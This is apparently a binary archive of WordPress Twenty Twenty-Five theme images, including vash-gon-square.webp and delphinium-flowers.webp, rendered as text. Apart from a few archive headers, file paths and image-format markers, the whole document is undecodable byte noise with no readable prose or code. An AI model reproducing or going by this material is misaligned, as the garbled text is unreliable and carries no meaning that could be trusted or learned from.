g`IID=#Tj;XJa6P5Makφ!c-3R*5ji62qG1T3Z zOpoU^졊,%ٲi.OUGBDT"MД79;[2I1qjFeA." eG"H\A0E` y~2Weyʆ2fdP_+-"P0Y ~hGˠ(j}в!^/dF?7 4T; B,B.+'kuHQlN4X(O~|Bأ׻*iv>z )]AM#]h}ՒlϬa_nl3qA{ FfDҴn+B}r#4^iefw\^3'Tv&KÍƼ^tm›C]?&7<%`v]`}aRkwiqıEpMaVfz\ ^&Uy;}/3`pW^wZfun櫪bbȅQ QJ;8ev.@\xf9Y2̓mMp} B f]Aˀ##ݍDjd)})+1 Mͺ ?Ȭr7T+|h4^|޲csi9ZFjǴH!c.#pŪ0d4Հ7zt*AzSn*siilu${S P;7ċ)Qy`FPKڜt˓Hs~(-,@{t%QS$jtz!eS+xR F*݂.Yybd%rA< ƚbި((}0o)H6ZրJ;kup&ZQcꗑ>Ƿ{t.d1XS9έQo&7A?y(t][P} S g)@} zϬ' ϑt>ΝaҝK~-T֨˿akH dԤ$IKo =!UPEMt5g esCv&dO@w c"`NR<:@ x|"ǻ<5 vp'86t #GALH V6f4ܭjwaY q$Vuɉ$onzN)D !<ʰĚ,u\`ִc [ynwdWsQ x8rq^5D `7KX<3@PNYmF,01a+ cc'}8a& B'eŸI`,ª/KYOoyۙJ&d-q~5&rs?KcC-qZɼXb2c)yD)ekt0B͏ ;B 錸nm&H|Z됄R,@(JI"7i]{]'Fs  (k-q\1LCh2sH/:^Sa#SF$y^\y}1j/Jr6.D{Ʃw1bܧUL:baWsǁl:jfWy38v,Mg#_7؇(/yhaf04[ XdO rp%72H6%U1?]p"+c7˷Tv$&K8KvcqCE)LWi}ZD:ȒgS/q,8LPY|gZئ!bگm/]Lza!f 3Web 6cMd%huqg-O67 [jE ]1o].uM&>q|fAYMͅ4YeO< Q֑3AeDL y #%ӀViH6UsBߣum'E4sRZ^h$bpBWd<_>lm3x7t9‱}u2%h"#J+k(qi&?h0Q`;iS:j[}WF($ ٘bCzdT"2yTA<_؝D^ri#YQvR72&d֍YTsDN30 3tE'DV2eVaM{ļ>|aYlx:^` iϒ<0ZŵQFye+M44xJyS+wo$s>keW+bIZIG$)&?~Q{>lYhAvInFoUC/SՅIiK H1{KEkʭ6?ɶKyUq-^suu0hRUXӇQ<.mJyبm18iߠO 6vS!;-LemAc &Q  Ę*8ć*N&CdEJ"/rq`3#IHWv-v`YWH <$k3'tW(DB5xԿvI\"DAv ρC%/ܕTwHK~m~YLJPȺӜP(F؛0ThYb9Ӵd ᮄAvhsO 戮<gWWS?+[]G{ls~ ?-݇b^zi|V }wG:wsڮ2 Q>nõ|7_*b9??LLߜood; ҈I9뛤BI-CbGEfAp }6:t]UpDt;׌9-Jݨ|*L |dJŒeDoY'ٻ/ 6H_;jf񚀰L5q< %|^2 -kD1R3nQ"BDVzeݾ=.113߹ӠMHWi5Ila jz}'QU[>B 4)Xpq Y{#: La6R ̳&2v ϶7^&5l&юp)]Kfߤbo5T[x5㊬*]\nOjiWb$<-B++KEK:7+6Ѡ\xlv˞9f}(cg[D' 18'G5ARs-H6p&o/{ p_AB޺e6n@=@fw >Z3uJ@;{:x_\9MqCoQRդ|b`&oxv9&46jHf-ozn`tHr(snrV듺^[7s!7[ <"t3ByT.2nĭ(b5^q Nck٧..&8i3IWcZy6;>eKH‚ # r nMc;@YgFkg+@!@ 3h31W;@~a6?;O}JXXT&:/S$ K!,bW9T3¨[TwiP>ʷm`')k!nW:_Z"#3*L'řXɸK\Q %?F4c, [Q>Gdat;@SEDŽz$J(JF#W>`l;rh]ߥz'aVS󉇙_?[d]R0-{ {Dܷ'J~m|!"w޻+bʸF3&_OT˴ *ljYDpL'fF31/KU}ʐ1JS*r P굿8 hp V ~@Ag_#(e8GAp>0& Q` <,tmc.<ƔSKjr׵ccNi ='qX}fy;V&D$(O%@("89B0e AVN*yz3B.D 'xw3ݚlo|_rʷ]j %GCv=آ(‰U9Y?y/t` @BWeUmzhtg V-J]3@"Igzv/>r- ̅j5 v'\!JmCs5en~ZJJ=x(Co5 4Pg,`r[O > G+<L.,Y{B>24f[`SveVQχ0a\橴}hos{.79̕:TDn,QݴdTb_[Z }JtsIPd~hv腖"vC VTrGM5j?zf햮*ZB_Pm1p9ܟ͍Ne[}O'Me(L胩4Z_k~➘L4E@_wTҎc{g'dnG `<*}~Dc"fvkwzd J7p+dxT* %<0>j9%ycɔsNe1% 48&tŔnzwZI=UM;=e=,' ozjGv'oq{tu߮ZOK`v%^WOe/b Ohc6xRˠ2png.؋N"a5.Uױ=U v3p'xҘt iG4(]S 7j]KGV( h:a({="n5~XVkBL4o`ǚ_C\`Wu~#{@ _?sRnm%Am꒠_ƌr;2.]ƣ<2rL U.˒y%pc|(S+}I\^^63 XVzk,q_ .ȢJ#<c"=b;>Rq ,2Nj8r]9b0)OljCHL uEuBe)-ݟ0T]kc<-+)DB%Z$S8^h`7-~nESHgF PJWEg+(UY].*K^Q X2PMGT:NyRWXmF3*i0,m2v( pokX`JA2RܫyR4J=Fgi1 lvɴɕaL&5a`[[XhrRx)'LOTSNh ⋒4xVzHƐ+p}|P})Rs VzKaD|wʨ^wC%WE+^v؉1Z˖TUP,Z%,JT2gb7t $żUg(&bi#.ڛQy2h5nOY`~`fF%? f&S͏Lm45[ƔV&_R`f}uR Y+>Yj *t ȴ_{zd]bR-3L~'NpPVvK\FȚ{S'^?unyGJRScs=E )ҫ% E)e],O&DBa'Msz=?(YSx Fǽ:z(_tf(&k tWZ*$?9|O śS8YsnVxfe{&'< U//Yl EѧvRN ws~5X- &z;P]&'QRޢM-UXAtց[^< 7s,=ta[Z͜8Kɋ)\g}o4]^̛n)Fema??( 1.fCGPw{Iߋ{c}r *.ĮМpY/:|뿚-* B9m*EcU%=Zc=^~QBe6EwG-ޚUwL~ʙWCyAXd[&NFP )N0==eazD#O`zL`#0V@k3UĖ&# az+y SJ4( >c=Rl^e+?jN;v3.`IJK5hV(zTMb0l=[qƢCahU#HOJz Ʒӝ~K^v;WϞ$k8(F#YO1;24Kit+>5}q!g8?e>^FpB@b:~ȻAEI_ehYKڊKѾn5V z L\cn2WՈf!~ϵvHoݼX6 ݒ.hwCzIY|2,nRKެ_LOx  c@&X]!pq^t84mޘayܷMaa Rw:^bk OilOȰ*6$ܤ/Vˁ:טf呱#ބ Ir!F1}A0Oۚ)_cC]JVhB-+'y-lUWc-X>+d=8\â Ka@z߳KN^!M9Q3x6!$P xq*E;9D9K I&k+$}8`Da1`NXis.;mX7NT RjXUp;X,ҩ۞yۗq>sq%ڣkS?2dr bĞhgj5q0ͅ3,' u&)qw`fGMN۸RίV5 ^MT.ɉi@xU{/{[w/og0m<eop?1]1SGUʦOSBypXeB,+gek)e > 0+ؖЩd"Aw.sC]R,݉a}9\M ["@fXn$ wtduw !">׀&_m ؍r}mJ9`pV %7a ~R`96Do[_5*x5]2S7&$zS{SnYR%"F[$VJl]U2O'O%22?fGGl+7,!,:)PSvOzj@TRvh+ZzWUVچАP'%}UlҶհ|zPusll Wȏic<=j~f dzsݜe{)Vq5y8vyYYγSS;53¡H449M罃 ?eR[ ~||%r3jwϓ`v R(QgEf) 3 Y1;uр)Ì)AMg^Lk)Q-hƬ`֘T}(R^v<8z]nyA-WsiY`X#GO˶;D:v4\E@< LmZ.9U#4C"}/iD1[6Bu%ҏqAŭx 7Oo,R3^`M˽c5)}ݫa; .7osIT4 9hRB ?epȿa`N^Ҕ[rwκ/OxZf. f#ъnO!ڏ};z3NPpZv}NN B؇Rsk_NK@yϟŮ]4ﰝI|"raJq0tXЉQ&8od 羅:0,FzwáɲdlZP!&x=`VN|.y<>TjoTX|Vy*D=OgSr1kyk]d=Is/7LӸeL@I,S]qy@k9 y[8֓ϩGkeWH?r5=9Ax4ݼC|,zɏHrcNK+[vk1][5>zqVAޟ({ kpb U"oBWv씾m꺇m 6(b@fGxyN]D}xetC6WC6.C܈nP> >X#IgCc@.]ZvcyެA|Df.hy"̧)y{BS Z/)l6-0NgDj+z aa,CFgJ)kHd%,m*rx|9i eD<_[Ԗdd8AcqvvD&VjO}Iɱ? Ѣ)}:9xhB/Hl휏<^,f'D1 uM¨¶c̨P$!H% =qxH~> \QB;ݞ$ǔ+0oD\79|d+$˚I{nB16]]B#TyJ ]6 frn9\xtr)KEȺ΄q #/="d)[:1Vd2 -< l-PM_NZr9[ygM3l`#* #vAދXP °li"䒽\X`\7MqbaCS6){g' e=gBbtuAO,J(CXL~-P?L*1mnr}aA-HX!rn9|m0ƃ[ 6X.V`Uaklk2K˖ty0QvDQ`ijB Y'42Hn7DBmfq 3Uq`z?^d|ݳgьIED@G2N}⭧}4L`wj/h<}!Wabq]őbȞfBkT@ly͹6V`rpoZ(r-94y-N tX˰m!gbGT,cethemes/twentytwentyfive/assets/images/vash-gon-square.webp000064400000067066152335264760020212 0ustar00RIFF.nWEBPVP8 "n0V*RR>BI%%*4 gjw<1a[c[ ds+\g7'{B4IPm0 t7Xo_?rOo7_Y?/^_=gδCP8b):}/(ZtF/ ^2_فIFz8wĮgcM0sZ2ΪpgK[?(7\b]~(?uldBZY-?sU4 0|}E#b"/p2{/0[ysbF:፷C& &:3BMe&%% ?<}Q`SR.^i|dB5f_1P'رc kC 5l` FK%-b2h(HJ`Ea'q n*?&\pk }Q: ``rdiH=Q:'MΛXwPĸO5ru+05mB":.k2PZ@WL!\lQg|=h{GH_m7;;bq,q_=XVcd zD*p82ugT#n>E3U g˃b%\R@< LmYݟ*RjUɱAu)DrF6 "D"YVhN­=p͜+aOnU͟1(I7ࠊ(e\ gdfw帴?TE!\$1,0A6U Uvk+|ϫ=䨾e1v">b4B:С.;ԫ]ok07Fmka!I6vzd(@ǻXvdR))ízypk*5 "P5J;bK"`#|}"Bf*#B<@LSG-',/}}eb4b \ b(d^J=8!P`w*$2\VA΢%/Y1f:|xj%BELD[r't λ 5{CV QR!·IRCfP}qgFz>u*1W?.t}̫9nSd\d.H;8ѢD"鯳t!d](hYyLcxc; oKޟܪ lCź.[0 ٚli2 @-iR[!$!| L[^y-uFL3SC1ZTep"kYP)^nhB\7v -ZІ6FFtG3= ҳm-‘2}Rglo M.m_;x;W2X^2vS. qFMVڂl55߄|ȋd?׋7JĻ>I2UΙy]m5#\K$Zˣ{ܡuy'yR׌dIqRWޱj&:2^-ah(g43G;>7?QFMZ%.x/N9)AwKX18IG>Bx??zZeI5.&b8Bm)Ӗ!fˑ`ړÓS7w8ɛÌfJaT6ɜ潒~:zNвd>{}OF1/z $kZ1)b#[_~$q++KZNo(.,wKv)!4ER'V ϳ Yʞ{)+)h7 0| s: 0УSiK).IuܔH;ο2Ij@JH#A"xa*Eʬe(9&Ԏ\!4oOxeFr,їN4엷C1Zړ[Oɥ_gD{TG?4٢~OIqgۯq FV6 0Pī/mw;gF6b U\DA7> O Q:f Sgk нѸѬ^ u4{ l'D8t&p:nÿ?6ޒp5$w2F⻸wPBEyhETR&+rM8MmRA'Vt  HȁëeRo-Í'C9{%G'gM_J\#m;Wy=gMSEʮBc!h>aT”"Wl@p_=wG#ۏ Wjd&V1'PLTk7!`>C@y[y7̚wf`cjЂ 1" S|-HG2RTe3ݰޜ@X<޶ /"6۔x#zɰEVuߚq|SZ:ЉR zD|\Qef\E3 ZSӬxT6x}9D ?G(nK!!fk7G˭,Z"0?u*[3?|3ֲ;oT#p>POs{IwRLxvw Tcd &(&mQ=䜯GKNPVDf =MasS bLy ҢƧ`(,#WDߐA+\XAf4P5#ujCTdx9^l@]?~h_'S$oPi^8&_m3P/"Ґ\Θo TxֲlkC:= Q^|cRq!+dq緼-qR!$ a)EI'O@Χ>Qˡp4 Vu? l|R*7TUȟي=SxlQ‰0_Q( @t2A4HwjcA_ToaA"Z85:42,S~B@ɌmYCL1a`&QxKs픊P#G|Dš԰qJ3+'oԘ^@ՒQ)e|SOyhę(=Lއ>ۣWx,,Go7c&Q9[bN֥3LWwfHugH$g_C!kLf% *742\-ȱQt`Wr @ }FzʭWS wEI{`Ma_rO* xZ? 0 DO_5IQSV%%1EwA:/,9{[ډ Oe?.pwhfygI@B8XuY4_$yK=>47OΔ^2)PRW.Ldyf*Wؘ58xaݏmz8Ir4ĤEqUmюuS+kqDDݸt0P֨GC<[o+ ?'ppe)~!B2:O%ܦ-8ыC!\­"1.8Nz?v3_]%!Ͼ>tGɋ4-ɴeץcuj_jft{kQ:,rV~@jXO6362 [xiYdtBUOŔSR Es-CprdV^9@%R=Հ꠮.T+2s䊞O5JcfdoU%*(lF_tNCY@FNg+JNWΏ<KKMݺMS9I0׳.>AOs&GCԦ#PY/۬0I VL5<" 2,TAꌝcTf&KlSGlLr kH*nb[ce1(B־XYc؅xW:iURZrQ.~/@kqof_N{SAj1ITMXMm:z_k{fxN+aQq(i@\ƾ&ţQjGbl1`*r[}Aʓ#_B|8> "j5X$8B:ݕ[[Bej~p? (M`MF6vy@IMLeaMYd췟4k Jk_C5&RBXeU^-L\Yl["rZT˯KZH)NfE={++y}Ujo]jo=!0LS )W_+X,h+۷=CcaX? 8Ѡ+U khD61.hk;|_,M١M7 H'k=p<#< @2S,|O_,G -ljL?ib\2Ps9a^f ٽvH.(,Fi!$BO†aPĵXa'gtR[xdqQC%2TR{wjk\:E׎M߃ΡK֙+Aٓfq*#lapt|EykۨMkH]ؚ W*ibe?iיݶ Q!oV6BRrѳYU>ŕlME(eR^2R3;o+ 5m}nfBz7}[>N;b\GuJOpF>w:Y탟P 3=UUu?~]^ꛓueP^56\vd|G{ [_Jzh..x).wN]2]* dJ⑏$v576SDh NU2G͑o$b,:7a g$vdvm`n~w=HyEaU>nN0uY}C #y{i7{E: I-rc-z_u?1G)u-P4A𶳞W@LP6z!pYvǘU7&A3h'NMK!(ZV / &[~n:MJI-#:k6!-w/ٔazR%~H|Y1*ȓ=!e8ҵHr#CA93s]iw%Sl~Xث9bfgKi>?|+3h2;}5G>=D\ 7؞ƻ^E&DgUa/͏nTej#YW3-4ą2djˤڨ%uTDd2ػ)i7&>F9|:j9jň_}y/bz)NHYAx $0zaןO=^!x/>;S^ ɑ5LA+5jH`o@}$Ί#JZkMȏiSYlhyPQ=KByՈ߽*[%9;e]}x\|b\R*fRjZ N)[CxH>mvg'!1ۘ? pcmb .A8AkS5yh1GUBiFBvўQp_?4rki}7qt@Ynב 5SRzV'+vYǧy;`4#qJX`3"iUkBwM$Y#Y; y9>n靿q cAQ , l[GNb+9ˇt!27׏>^n$/Ze/ļYhH1yTO+3_|s +ޝwBTxq(޺Ч o;$S:;+)XJ|HI s>wOtDo=S~-@ʳ+{"r)fq:_%h6vcpLILti n?bPʊ$.Y &gZTdD1V\ް6VhPF8W}>rua?9U^ޖClt%^O Reo9Λʔu ;kk_t/yW`2Z|H,(6rEŌv2ZW/~B˥;Y2Ȑ4jD덤&ɛSJUu;#㛒~*Em|.:\Cl/ p|K|xXvU=k W?{ASdAyP'0VokEKEX,~w\*øgu$w$ y_Ji$!ׁG}.Ex1٪$]F̏~I̼P$-ãP3,,lPgKzDBp\_vrqI ] %p:*\1A`:#Lp<GYDsb]\2yn@'<4\֜P Qބ. @%L\psj{ŢȔ9-Vg4 ^HE1 *3&Tq9EYece^ m%Z- gMݍwi*nТ5 6\U"x|fG܊Hn -X*ID[MA%hR55]z:Ӻx >:WSeU (1jsQ~(͊v${ڼ̈΄<; ,mcmU T>Xous-~u]NC"JjMp2pu6)l+I R-?K fdN<&q{1v#P5M>MywM6Vd)"0{G£?Y 5pY=A{zx#%܎GN#$% ,r8Nr@=t/u2%MJ]fcu av ?ґ{+0ZB!bkx pFriCՍ췟|?haoD< lD / Ojk5j5{T VRq@)fbl~ NP#7Dힴˠ~0+gND εUHp$}n1Yrˍ$=oT2>Id%VWXhm;2&?@]aQiJRĝ -rVMYQC{4\q71lzL'&ua.J1ԩV( kD X XHmA)P}iLy7ra\ȀKl,x83<߇waY$?t'?~*etAn۝}kp6D%&3-a 90쌑+13hc |c\BHI6'͐z#.MxdK[r`s+VW-t*o9ȴSW OB/O-}--l^=('dudeE; ɮBER:\4}~{\*n#s}!b4h[x#Q5 faG!M69+\V堦n)fT֊h;Cn ”zm$'?>j3y#Kqr"yTV ow!t7X'K[9juv|@*ۥAkϰ<сfe]=U a&pW8 C获'C@%'![.5$$/qvpʼn#PO=E * aC`d +F|VCRjC`v˹Wgn?_PLwDqZ>Y<8sxV.(`CxfQka):8L ѾTy)Ksv=^33_j i_~w8 V!o Ew^,u~J.dL*~WKM Rc)y¤~A}-KyiGИ$>[VR+ X@d'kX{ nmsJr XUⲎ<2$ 1oꐠ#jE؇ԫ^D~(<_Eߊգf~E,%ߥSƼRX.!M񜙑h^2|\7ØZWGi(ݽ=ǐQzۤw~gl ZV%,Ba DH:Zt)7[YoTjU1X`{T14zݮPZnS4b svKkI{mFqR۠~)oVEVqjAfxL76O$2'U#/!N5 ĀK{X#$or3swH-uJ\nj}\&.%G۹o5FIDAKJxŒHXYSñoys@.2Rf FZ[m p>sѡ b+FVY1j3.;e,߂{ VM"AC`YY ƥ@HHN&${A0Kuv=!{B|%%=AK@3>[^Cg>͡(kd2%FdY*XŋS@;h̳N?91 'mICaS@vhUטr|Dq&+gIH ~iVZ5- uܧr8uB%}?ȿqT. "NJHt ;9,ExwŃa8 <QKAE"8Z#hm",XgyJC '^SqU|(\Xu9))<ΪLF +%}tY!F5bvjݎK*+¿U1dS_t8+Zn,F ú|P+(a;P[SI懓f4]fV3?hxʤ.Ţpy)b t0BÃ! \{Y06HH b_vԘ4.|M!V}Vtf'Do3!q֪{Pi5RgV\K*PO, 3%v6P4ڸ\f<km ۪bcqʘAu40/:2:bS Ni%  )k/g0rL2EJ>0p\?ՕRNOe7ol>86|'H.쐤LQm(wGOhdɣd~z6P4[ރoVazhRg|ON@VV7GTuQY /1׏D|Lt498\@^bYN+z l)g!?.?==^4*y>g 95ݜYXǗ̎N]|mj]} eS+w˔X)"T7`S$ (-TC7"+Ofca`hH1(LB3^9a3Ÿ/T%6I[rGq`X`45iq}d!UO51PG7W^bv"}+˪YWc>KW F'Hd"o~pVC-&S@0璢@*HCZ̵6*.Ng|58(]o4#?:ʆ PSjׁjpnFu\)j=z>_’5ku&㒘6LvlzHFag6~ 5 og\\J|iUG7Pvon0!D7[] *y^s)wʋ;cF?L}EN;R#Y[i?Jv>փ;h[ eFS6%B>lt>ɬikP!'J)껸 Yyُd\~rBF![7-$K!aG]OL򼓭2"7HLz*FL–gYs1 qxi}7·y% HO;6RìOhۅbUZqF*5plR:n4&$~ r1,gbWMӣWɑل`.+:$DVUHx`+1Q#;t^dVc@7m:pyR\ :>h18]/W6C=>< bw"wJ&TD3⛱CiX ÀH`SII)D̊=u&U bc˵H,>t~[Y̵NG4KCNy-C=pGF 5=%&sE7쿸=D[+`t(@2ޙx)isoBxhg44#߀@Ο3X",eQ6;WUQ%f5%l)wH1IK߱mUNo jhB,\&YEMbAR)h8#b2*7Q Aag߰>DU R=)gP; Iu4ge{m, :8a$)"[Cio)iAsϣ?tI&^ d'X!N8nViåh9L*pumLܶkmul{a$c2zfoXZ ת᝭]稢庡*틡vqơсL!*ʛ[.g& 8$txy&lp&#H3]f٫G jy_.QDj?Ʀa3=B<ՃtJh/㧄+ Ja \gFk 8(T'DXh R>ڢ)͏ )|h(b|q/o&^NN@VG[AY$Z(]ora :f?p+]rFy(Mn] ƫTsm DO,WTuZ.N'nVx,q}D++ղHLc/q!J~0񍦫:up,]n$~Y89I҆,?w15$׊jr̉IE0OU,s8\nu\U@! 3HjuhJ%AVRApJ3HXUeJ*M't:.O5PdF-^~ 1]n$8 Z-%w>`/kGU6:U$*n4LVt^E8#$إ@bZ˱xrѓ(>b( )b~hGeosžlk(ީs52ZvqEYec !Jv-%|(,Pa.8 wcjPcàރ%63x0?-گ4`(h?3Xt7д:TuʅlL [x?#txsbsvV9.G# a4XsJ$>2vq, ɸ=_+gBe 43]h?tط\tƲ"R/hr11*2tW= i,NnfXd̊[5khOv11elt/{[g_)`o4w?R%% srB Y!N#hLW؈ bԘ#2t-țVyr^u@KDn Z. u."hKE @_v35YCZVG>t &h)a~W꧸ixO5ƛ=(+e'NoޜH, ,R3 "PN| C'b/f(&${$FZ2YK0nQ&U_d h[ ^%K].rS`ƴ3t^491ՎSG@ļ Nq;;n l3n.*sVw=[zaBO%U%@ G;&y\Ib7ymA} ?`f\42[-." $ƜQ@cpBQ69tj_R౫)ZW]+~&4&o*q7pƆ?@=]uR#՜,ƵFg^{N|˱ -O}Q5A[jT|'{F \;$JH)1e(@E^2<^$ m,_UySH6A=126=p9}I0+z+S:GlF <'x8E-ҁYs 6 jn1#FT?iXy0> wdG,jH/s=b]DIh5 -],5UPJ7tPzaV9@R-.!pf&@t"\g~֯M#Vq8/:vE;Omp]tH;>1wॼpC <WDBf@p 7-@6t;꣸N X_ԁeI@_9 Әy )'7jRvdȚst#Him. e02btm|^|Mzk_aapӝWXH?)cэP,%ŭ ()q*nh+}sP'%&j?<roП6hݰ {1- '🂲oc/ !zXrI9 nE!BU')|>C{ymR*ή ~^ʺ-kT1Xyq?Dr2HDQ@z?;P?%?Z 'jp,V)gu}*Ϩ௞W>X{Tc*{#}‰,rC݈_D9\FfWͬڥB'ae1SX>!vFA =4Ȗ P, YI< 2@%BWFOԕ\2Va*.8-wXAc;M֒:J gṳj$JbtOWq؁}Q ЮnUHE ?rY"wa;EBr/YOv龒D> PRX?|7$3"/iSj~ry,GLѦKOjW'.qKaD"9JV-,V(*P ʶu,!&6Իt> i<L鯑[QȀG;wO kXSΕ$ْ⡜|:bpousbn(͐~N4[v3~5G:>q@!=W3QO^O=z6z8Vs3a{rlpd%S_ȺTדQH At='7KG,kH" hU ږ.=m UG %sw$<5lmێ0W2^c@\}=6ܿ-Olېp(>* D?ZPэO%eW'µ-مyF"cĩ}.^ %%zW}&z辭;uswFOC kvhV xuˤd3': tMt"Xf&g 4j*нN^+{D׀_L:C-Pt҆b=RJz\cԡT7qIŗwXM2I ͂")i,.V䤒E9$s$=Wmkif ϐ32xS9+~=p?2j髼VZ@ʥ 6vgNskS{e)i.r_J͆cr|"Z2 b!HQȇ!i}ekfuJv? Af=fMtxϴ"jHz6SCLY=H=^Z9;6"@ْTf1Rp 2HkѰmp>i\j6x/(g\rfpl H=y%ؚPCp'Cc_KNv;gGVf ;KFNE~×%=Zkíj }~H3k]DaAE=`ٺjn  6+ w^2i>>VwBz-TMmBG"[mb&[j'DNsW: O@>02"'%YS:EBN[oRZ';D_R<޿ !Qņ!F:BdfiA/y]^1HMm= hy\}Ǹͩj m?yj˥`Ŋ8[._{Xw>_]ء4 k }f3 흉W 5xmLFp+*nv0M:`S ]KgUO0 V:'|˹@r3_5V>JÇE ݲ_QXOXeb+Mʢnt[; ˂BGڤͺMPe,wQ spU)SxzFSvG)K[ܷ!#(;ߓrS5d]jZ 80pHZOUabAV_?N=P.ٗ"qU._ƥJg6T$H\"u'V %ޠ{s х%pHQ.t{$,iLZЀ9b\1.o ٌ7Ѹtk?գDӡR[ϫ(E '9iMM\A[Vigj|qkeOVF0!z^c3)csQӸuY0͍KN|DMq3!/~Mǿ_:WK$Sc]*י٦[P 2F{L`?dala?ŞF6jk2{-dPן9G<4?`,.kpk2ЪutQ*N2$a9HyWèZdScMh"b9dhJ8e!ϓurFip~ZN,DQ3j֤.@REkM]th@(ųoEAr:k,8=whc?_ue!^ ¼_,gz{e=B=e $ˇO& RsqH K[_KTx%$!ߙMi#͆yh'/uzsL {MMȔ@snuYa 2Fuf=RlCf{$SNCɋX5N(^?p_}o0/Ik9"]7͠oLoF;5D3OmC4 m8[ ޤ=N=^jeHGݨ)-,|4LIcvƖ$u3<7zS#鯛vN#d\q 7I[V#O^ d"2s. q._:2,qme?^D>J%̍>RaIGܘIڲ5-yvf{U`Қ;u&oP.q% !jpѸg[ICq׬L}ٺ;hY =1,@8Z"ﺵP| c$1F.މd41!摋.@z2PX #uJ3.dE y|Z9_ 7xN0ztA%$# R v߫Xۣ7,sd-2NS77e.!:dfQ3/6+G}nZQZyܔDF:r򂘈@ܿ_j̩ 8FOnwۿ Qab eMdv}{/ FŐw\εgF`Ԛ~ZE+8ZbiUZ0C@B;iDdžc*"3Xl2 gBsPW=6e݌kTt&+qP9p!쏥L*zmUwuG!hMnG΍#I1\hx?m _MnJmeZ|EDf:o>L !uHF+ RAKhNA=."Q([ BQWD|iVH-eHҪ$LG&;]DŽzX95U%*9@Hw.);K_GO$aeXUAyslކ!CNaiyӽ2?ŗ~49:MCcmM4UdU)0/;CD hetJ7 g"i>mi, w 2HUynT(`2Az0QVp}n(9(c)Xo 8G K,g" >btԄuo.EЦtؒ9ۖRi_sIrxDz*5HU$fO{_ W48 r@NeVW'OU.W^Pd+R<ix8",j0n vp..TƤ"]3hhȇ1 !'+8;tsJn=k;R.yo&$RppX ]&&#[&ʧ|9X5#%{ӖT#֔YX6V;l)NF_JHFvxȡbN?8. ׵WEe]4R|=Y\& ^eC]#v"^9Q)i4N{j d 3Åxh'_b@hvSH<,䈵R JtFG. n-^X ]סӱe6꛲ ̼WGW+ @.⨓, {دgfxMR(}dKن9 }딂/GͰg]b =ۥ {E3b Qfj̏*Oڿd ٚ}~HE<$%w@4l-8IgM"1;$kR?\ґt#uf UUYXwI#YW䏀ON-dŇ,XNI$3W! Bnnնe>u]jd}ӼI-`KK{E~/^t=jem7o)yZ$1LaOa̓HXa󺁬k8<0PN<'[ Q=P G!9۹DLU+c2&|<`D?]`'w?Y?_nɂ+ò\yФ̴('ƹ3TAC 8Z/%> X/hl1'[M>0&ӻ҃bS+~뱸E|HB܄*T?ml $2;\ᕳꑩp~[*hMŪUF[S\xǡOeCh:wbI.r:܂\x* R&//YԠJfYUƙĝt_#wi(v=m0.Xtڽg]/ JVWtZ[NG;yZ||Lߗ`Hjo=_r)^g0M[Q&*tdSS}HyFDoI/6h`O!aNTp_(F\J~,`2ڒq qh\%VY𹱉,ius-! հ}pL!|mwcYmʙI,Γ4R{f oԐQd RߡI{$Uhl$Z n#:[B5xP-R$&P#qΈ_֖YR](P֭y4hI[{f"oU%aG Q%>j%:{t$.S!!a*fHuvNuĈvB%F II bw ǴٕVF3xLr2VL]a>GcR@Ʒ0|QCӔZ3%Rt%F4ղlI A+{*s8XQvՔG;4,@Ye&!X!1Lq:>Aen9bQhZ$R`:<<FC(CUnOUthemes/twentytwentyfive/assets/images/delphinium-flowers.webp000064400000122346152335264760021000 0ustar00RIFFޤWEBPVP8X @@ICCP0mntrRGB XYZ acsp- desc$rXYZgXYZ(bXYZ<wtptPrTRCd(gTRCd(bTRCd(cprt^N%#"+vZ) iWHNG? O1_Gۦ7s_ꆈ؂!9qh 1pIwQ?u_#Ϲ%FA<>? =B?waXCvW[SΊa/E۸LZ_Lgo4>؞S0:ኬvƩž'ޗuvROhDE+ƴOL)I<&CDW7W"o5R;|[h8K[/M3AmtlCĶWB;L!lD׊%h_P6 e̴>Py`mU )S4'mdQ@хfwh|6>I< +td9`#HB~6v>U}cW P%u)}^Z#Lq섽(9Oh)טh<˚3D00<[šDB!O:v]ɨ\n5n]g/ݐ-6Rۙ  +`Ze mS5f؉ sҢYF}wjiB]wnFٳ *u"]{UoڔהW<# G@h*āFbO}4JyS  SEMk׍)3$v3F.|Zߪǐ$Z\fX [? +lȏ 3G6ӗc8Z?:GXpGވh~ i:x{&P䲱)\R CEVov>cN?"F[,篟|MfHp=nl?YN/raiߪR3:O 8Js6e\axS`OK/+ng:]V>RZB&St>1|W3|7LVg7ƿrۡwJ;/n*H_(~%p3|W^`!S+ݰ\ۀ(8Cȼ{U_-BFYxJ~Šic:ZRC^|W'ejcy Ν1eWV`]\ȕe KQuukV&E^4NO\umuZ_ ~T-09 sduJ=RMe#s}}jst=;t5I"MwϨP 1ڲ uP[?$թiAH?)e.I?5 G00L*Wssn1<=' y(Q9#7MGo3`荣e4jb}DjL3oB^tuOEQ[}XsL8&xe,^t]RD/jDE\Ӵ DcDԣj8:>:BfܻV9}PNW~qjSA-p0vٞv/$0rPR(CY%~/~7wI*FRPb7C~k,bF|j!Ҥ6ޮϨ3AH^V! m1\*N%0]|LAb^ϸ^7;RQCRfImqM&3̂܉]+kJphV0ߵ7̻.6T_^Ѝ[̵kFgJEjgQE|'$֖zl7JHmiOȱR͊j]6M Fn_R!+HSXF_SJV4/EA}Xb[<P0O/kb D-&%YMͫB?}݃{cH0x'G2&on^#9Yw(s1ROy,82q`o&;o6 z 8l9vG|pN%fG7֔0O~(Vy0z@-h2;[d1$adOEH\c+Q]Ux˹le("U \VL,w)ȹw,RNP3's}VtU/ H.\9߸v9֥(*7TV;pޱ#"Oϋ>rG9^둮  T7+hl/{/q1DLJl_L,fILU%~j 8{}EeE8i)T;מIMߑO+p8[Zm&9)h7@ZWJ O(%oL]U7|=O![}OmfXrƦ>%9k HfۼVѐ&e$Vێώ}aF 7"T4۩RDW-)f,y~Gd띥e8yF_rh/Yo;U@#Zhs$Tml)k;x&j:MH{^z7{yw\l x{V1*[X04Y#l(6ǖzzKM<{n7`]'Eh/_+LR]u2f0OwԮo7>l fA'AyESLE6a3Z2Y йdr* 7(<6URdCƳ+`AYU?v=(BU1AVEmX=#S L̕X-zɂ PqzM"^%p&Z()Ӱ3کE_6|3#o $c@܆r2nY1AK٠_rX۠l%%U +jusA2C O.ߴJEa+rS5`c;q0bWH *՟Ț~8[.9/$sNhm`HiPO C`)l?ӯ^"huc̭u3hOaYtUF5MQ&O/aN78vkbݤ+YGۯ>A e0 iAKP/10@ W.8a;ڈX=u=7RԈQ>Ea(O3fV_8HBͮƔ& Gټm eq̄w͌YmDB 7u2:.b4ن:s̾=Ju^܌vAbqgA+hD1;M>vj2-lА"Ye&(}_(pJu`3 Ks;6lgܛv : 